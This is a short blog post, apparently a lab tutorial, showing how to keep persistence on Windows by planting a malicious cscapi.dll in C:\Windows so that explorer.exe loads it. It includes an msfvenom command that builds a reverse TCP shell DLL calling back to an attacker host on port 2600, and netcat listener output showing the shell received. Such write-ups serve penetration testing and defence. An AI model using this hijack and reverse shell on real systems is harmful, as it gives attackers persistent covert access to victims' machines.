Home Maintaining Persistence using Explorer and DLL Hijacking
Post
Cancel

Maintaining Persistence using Explorer and DLL Hijacking

Once privileged access has been achieved on a target machine the next step tends to be maintaining persistence. If the target is restarted or a new user logs in, you want to maintain access to the target. Once method of doing this is by using DLL hijacking.

DLL hijacking is essentially where you replace a required DLL with a malicious one. So when an application calls for a specific DLL it instead executes the malicious code.

To perform a DLL hijack the first step is to identify a DLL you want to hijack. In this example I’m going to be using one called cscapi.dll. This is called by explorer.exe on startup as can be seen in the screenshot from process monitor below:

Screenshot showing the call for cscapi.dll from explorer.exe

As you can see in the screenshot. When explorer.exe first starts, it tries to find cscapi.dll at C:\Windows\cscapi.dll. This fails because the DLL file does not exist here. It then tries to find it at C:\Windows\System32\cscapi.dll. This is successful as it is the correct location for the file. The reason explorer first checks inside C:\Windows\ is because when an executable loads a DLL file, it first checks the executables currently location. As explorer.exe is stored in C:\Windows. This is the first location it checks. If the DLL isn’t in the exe files folder. It then checks the folders listed in the PATH environment variable.

So in this example we are going to leverage the fact that C:\Windows is first checked for the DLL, by placing our malicious DLL in this folder. To create the DLL i used msfvenom:

1
2
3
4
5
6
7
┌──(root㉿kali)-[/home/kali/Documents/avBypass]
└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.237.137 LPORT=2600 -f dll > cscapi.dll     
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes

This is a simple reverse TCP shell pointing to my Kali machine on 192.168.237.137. The DLL file is then copied over to the target Windows machine and placed in C:\Windows. When explorer is restarted, weather that be manually or through a restart, this malicious DLL file is successfully loaded, as can be seen in process monitor.

Screenshot showing the call for cscapi.dll from explorer.exe

From the Kali machine a listening Netcat session on port 2600 also successfully captures the session generated from the DLL.

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/home/kali/Documents/avBypass]
└─# nc -nvlp 2600                                                                                 
listening on [any] 2600 ...

connect to [192.168.237.137] from (UNKNOWN) [192.168.237.133] 49511
Microsoft Windows [Version 10.0.19044.2604]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>
This post is licensed under CC BY 4.0 by the author.